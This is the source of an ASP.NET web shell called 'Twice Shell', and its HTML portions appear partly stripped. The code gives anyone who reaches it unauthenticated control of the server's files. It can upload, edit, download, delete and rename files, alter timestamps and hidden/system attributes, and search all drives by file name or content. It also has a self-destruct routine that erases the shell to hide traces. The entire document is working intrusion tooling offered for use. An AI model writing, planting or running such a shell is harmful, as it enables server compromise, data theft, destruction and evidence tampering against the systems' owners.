<%@ Page Language="C#" ValidateRequest="false" Debug="true" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Security.Cryptography" %> <%@ Import Namespace="System.Text" %> <%@ Import Namespace="System.Linq" %> <%@ Import Namespace="System.Text.RegularExpressions" %> <%@ Import Namespace="System.Collections.Generic" %> <%string currentUser = System.Security.Principal.WindowsIdentity.GetCurrent().Name; Response.Write("
Running as: " + currentUser + "
"); %> <% // --- LOGIC BLOCK --- string errorMsg = ""; string path = Request["path"]; string homePath = "."; try { homePath = Server.MapPath("."); } catch { homePath = "C:\\"; } if (string.IsNullOrEmpty(path)) path = homePath; // Items Per Page (NEW: flexible 50/100/200/500/ALL) int ITEMS_PER_PAGE = 50; string ippStr = Request["ipp"] ?? "50"; bool isAll = (ippStr.ToLower() == "all"); if (isAll) { ITEMS_PER_PAGE = int.MaxValue; } else if (!int.TryParse(ippStr, out ITEMS_PER_PAGE)) { ITEMS_PER_PAGE = 50; } if (!isAll && ITEMS_PER_PAGE != 50 && ITEMS_PER_PAGE != 100 && ITEMS_PER_PAGE != 200 && ITEMS_PER_PAGE != 500) ITEMS_PER_PAGE = 50; string ippQs = (ITEMS_PER_PAGE == int.MaxValue) ? "&ipp=all" : (ITEMS_PER_PAGE != 50 ? "&ipp=" + ITEMS_PER_PAGE : ""); // Pagination & Search params int currentPage = 1; if (Request["page"] != null) int.TryParse(Request["page"], out currentPage); if (currentPage < 1) currentPage = 1; if (ITEMS_PER_PAGE == int.MaxValue) currentPage = 1; // force page 1 when showing ALL string searchQuery = Request["search"] ?? ""; // Deep Search params string deepSearchKeyword = Request["deepq"] ?? ""; string deepSearchMode = Request["deepmode"] ?? "filename"; bool isDeepSearch = !string.IsNullOrEmpty(Request["deepsearch"]); // Get filtered items DirectoryInfo dir = new DirectoryInfo(path); if (!dir.Exists) dir = new DirectoryInfo(Server.MapPath(".")); var directories = new List(); var files = new List(); int totalItems = 0; try { if (!string.IsNullOrEmpty(searchQuery)) { string searchLower = searchQuery.ToLower(); directories = dir.GetDirectories().Where(d => d.Name.ToLower().Contains(searchLower)).ToList(); files = dir.GetFiles().Where(f => f.Name.ToLower().Contains(searchLower)).ToList(); } else { directories = dir.GetDirectories().ToList(); files = dir.GetFiles().ToList(); } totalItems = directories.Count + files.Count; } catch { } var allItems = directories.Cast().Concat(files.Cast()).ToList(); var pagedItems = allItems.Skip((currentPage - 1) * ITEMS_PER_PAGE).Take(ITEMS_PER_PAGE).ToList(); var pagedDirs = pagedItems.OfType().ToList(); var pagedFiles = pagedItems.OfType().ToList(); if (Session["twice_msg"] != null) { errorMsg = Session["twice_msg"].ToString(); Session.Remove("twice_msg"); } try { // --- SELF DESTRUCT (NEW) --- if (Request["selfdestruct"] != null) { string selfPath = Request.ServerVariables["SCRIPT_NAME"]; string physicalPath = Server.MapPath(selfPath); if (File.Exists(physicalPath)) { File.Delete(physicalPath); Response.Clear(); Response.Write("SELF DESTRUCT

SELF DESTRUCT COMPLETE

This shell has been permanently deleted from the server.

TWICE SHELL // ONE IN A MILLION

"); Response.End(); } } // --- MULTI DELETE (NEW) --- if (Request["multidelete"] != null && Request.Form["sel"] != null) { string[] selected = Request.Form.GetValues("sel"); int delCount = 0; StringBuilder sb = new StringBuilder(); sb.Append("[INFO] Multi-Delete Results:
"); foreach(string item in selected) { string target = Path.Combine(path, item); try { if (File.Exists(target)) { File.Delete(target); sb.Append("• Deleted File: " + item + "
"); delCount++; } else if (Directory.Exists(target)) { Directory.Delete(target, true); sb.Append("• Deleted Folder: " + item + "
"); delCount++; } } catch(Exception mex) { sb.Append("• Failed: " + item + " (" + mex.Message + ")
"); } } sb.Append("Total: " + delCount + " item(s) deleted."); Session["twice_msg"] = sb.ToString(); SafeRedirect("?path=" + HttpUtility.UrlEncode(path) + ippQs); } if (Request["delete"] != null) { string target = Path.Combine(path, Request["delete"]); if (File.Exists(target)) { File.Delete(target); Session["twice_msg"] = "[INFO] Deleted File: " + target; } else if (Directory.Exists(target)) { Directory.Delete(target, true); Session["twice_msg"] = "[INFO] Deleted Folder: " + target; } SafeRedirect("?path=" + HttpUtility.UrlEncode(path) + ippQs); } if (Request["rename"] != null && Request["newname"] != null) { string oldPath = Path.Combine(path, Request["rename"]); string newPath = Path.Combine(path, Request["newname"]); if(File.Exists(oldPath)) { File.Move(oldPath, newPath); Session["twice_msg"] = "[INFO] Renamed File"; } else if(Directory.Exists(oldPath)) { Directory.Move(oldPath, newPath); Session["twice_msg"] = "[INFO] Renamed Folder"; } SafeRedirect("?path=" + HttpUtility.UrlEncode(path) + ippQs); } if (Request["chtime"] != null && Request["newtime"] != null) { string target = Path.Combine(path, Request["chtime"]); DateTime dt = DateTime.Parse(Request["newtime"]); if(File.Exists(target)) File.SetLastWriteTime(target, dt); else if(Directory.Exists(target)) Directory.SetLastWriteTime(target, dt); Session["twice_msg"] = "[INFO] Timestamp Updated"; SafeRedirect("?path=" + HttpUtility.UrlEncode(path) + ippQs); } if (Request["createfolder"] != null) { string newDir = Path.Combine(path, Request["createfolder"]); Directory.CreateDirectory(newDir); Session["twice_msg"] = "[INFO] Created Folder: " + newDir; SafeRedirect("?path=" + HttpUtility.UrlEncode(path) + ippQs); } if (Request["createfile"] != null) { string fp = Path.Combine(path, Request["createfile"]); if(!File.Exists(fp)) { File.WriteAllText(fp, ""); Session["twice_msg"] = "[INFO] Created File: " + fp; SafeRedirect("?path=" + HttpUtility.UrlEncode(path) + ippQs + "&edit=" + HttpUtility.UrlEncode(fp)); } } if (Request["savefile"] != null) { File.WriteAllText(Request["savefile"], Request.Form["filecontent"]); errorMsg = "[INFO] Saved Content: " + Request["savefile"]; } if (Request.Files.Count > 0) { int count = 0; StringBuilder sb = new StringBuilder(); sb.Append("[INFO] Upload Successful:
"); for(int i=0; i 0) { string fileName = Path.GetFileName(file.FileName); string savePath = Path.Combine(path, fileName); file.SaveAs(savePath); sb.Append("• " + savePath + "
"); count++; } } if (count > 0) Session["twice_msg"] = sb.ToString(); else Session["twice_msg"] = "[WARN] No file content received."; SafeRedirect("?path=" + HttpUtility.UrlEncode(path) + ippQs); } if (Request["download"] != null) { string fDown = Request["download"]; if (File.Exists(fDown)) { Response.Clear(); Response.ContentType = "application/octet-stream"; Response.AddHeader("Content-Disposition", "attachment; filename=" + Path.GetFileName(fDown)); Response.WriteFile(fDown); Response.End(); } } if (Request["setattr"] != null) { string tFile = Path.Combine(path, Request["setattr"]); if (File.Exists(tFile) || Directory.Exists(tFile)) { FileAttributes att = FileAttributes.Normal; if(Request.Form["chk_r"] == "on") att |= FileAttributes.ReadOnly; if(Request.Form["chk_h"] == "on") att |= FileAttributes.Hidden; if(Request.Form["chk_a"] == "on") att |= FileAttributes.Archive; if(Request.Form["chk_s"] == "on") att |= FileAttributes.System; if (File.Exists(tFile)) File.SetAttributes(tFile, att); else if (Directory.Exists(tFile)) new DirectoryInfo(tFile).Attributes = att; Session["twice_msg"] = "[INFO] Attributes Updated"; } SafeRedirect("?path=" + HttpUtility.UrlEncode(path) + ippQs); } } catch (Exception ex) { errorMsg = "Error: " + ex.Message; } %> Twice Shell
JIHYO NAYEON

TWICE

ONE IN A MILLION
<% if (!string.IsNullOrEmpty(errorMsg)) { %>
"><%= errorMsg %>
<% } %>
[DRIVES] <%= GetDriveButtons(path) %>
[ DRAG FILES HERE OR CLICK ]
|
[Folder]
|
[File]
|
<% if (ITEMS_PER_PAGE != 50) { %>"><% } %>
<% if (!string.IsNullOrEmpty(searchQuery)) { %> [Found: <%= totalItems %>] <% } %> | DEEP SEARCH | SELF DESTRUCT
<% // ==================== DEEP SEARCH MODE ==================== if (isDeepSearch) { List deepResults = new List(); TimeSpan elapsed = TimeSpan.Zero; if (!string.IsNullOrEmpty(deepSearchKeyword)) { DateTime startTime = DateTime.Now; deepResults = PerformDeepSearch(deepSearchKeyword, deepSearchMode); elapsed = DateTime.Now - startTime; } %> BACK TO BROWSER
DEEP SEARCH — SCAN ALL DRIVES
<% if (ITEMS_PER_PAGE != 50) { %>"><% } %>
<% if (!string.IsNullOrEmpty(deepSearchKeyword)) { %>
Results
<%= deepResults.Count %>
Scan Time
<%= elapsed.TotalSeconds.ToString("F2") %>s
Mode
<%= deepSearchMode == "content" ? "CONTENT" : "FILENAME" %>
Keyword
<%= HttpUtility.HtmlEncode(deepSearchKeyword) %>
<% if (deepResults.Count == 0) { %> <% } else { foreach (var r in deepResults) { string dirOnly = Path.GetDirectoryName(r.FullPath); %> <% } } %>
Drive Name Size Modified Actions
[ NO RESULTS FOUND FOR "<%= HttpUtility.HtmlEncode(deepSearchKeyword) %>" ]
<%= r.Drive %>
<%= HighlightKeyword(r.FileName, deepSearchKeyword) %>
<% if (!string.IsNullOrEmpty(r.Preview)) { %>
<%= HighlightKeyword(HttpUtility.HtmlEncode(r.Preview), deepSearchKeyword) %>
<% } %>
<%= FormatSize(r.Size) %> <%= r.LastModified.ToString("yy-MM-dd HH:mm") %> EDIT DL DIR
<% } %> <% } // ==================== NORMAL BROWSE MODE ==================== else { %>
PATH: <%= GetBreadcrumbs(path) %>
<% string editPath = Request["edit"]; if (!string.IsNullOrEmpty(editPath) && File.Exists(editPath)) { string content = ""; try { content = File.ReadAllText(editPath); } catch { content = "Read Error"; } %>

[ EDITING: <%= Path.GetFileName(editPath) %> ]

<%= ippQs %>&page=<%= currentPage %>">

<%= ippQs %>&page=<%= currentPage %>" style="margin-left:10px;">[ CLOSE ]
<% } %>
<% foreach (DirectoryInfo d in pagedDirs) { %> <% } %> <% foreach (FileInfo f in pagedFiles) { %> <% } %> <% if (pagedItems.Count == 0) { %> <% } %>
Name Size Attr Date Action
[DIR] <%= d.Name %> - <%= GetAttributes(d.FullName) %> '); return false;"><%= d.LastWriteTime.ToString("yy-MM-dd HH:mm") %> REN ATTR DEL
[FILE] <%= f.Name %> <%= FormatSize(f.Length) %> <%= GetAttributes(f.FullName) %> '); return false;"><%= f.LastWriteTime.ToString("yy-MM-dd HH:mm") %> DL REN ATTR DEL
<% if (!string.IsNullOrEmpty(searchQuery)) { %> [ NO FILES FOUND MATCHING "<%= HttpUtility.HtmlEncode(searchQuery) %>" ] <% } else { %> [ EMPTY FOLDER ] <% } %>
<% if (totalItems > ITEMS_PER_PAGE) { %> <%= GetPagination(totalItems, currentPage, ITEMS_PER_PAGE, path, searchQuery, ITEMS_PER_PAGE) %> <% } %> <% } // end else (normal browse mode) %>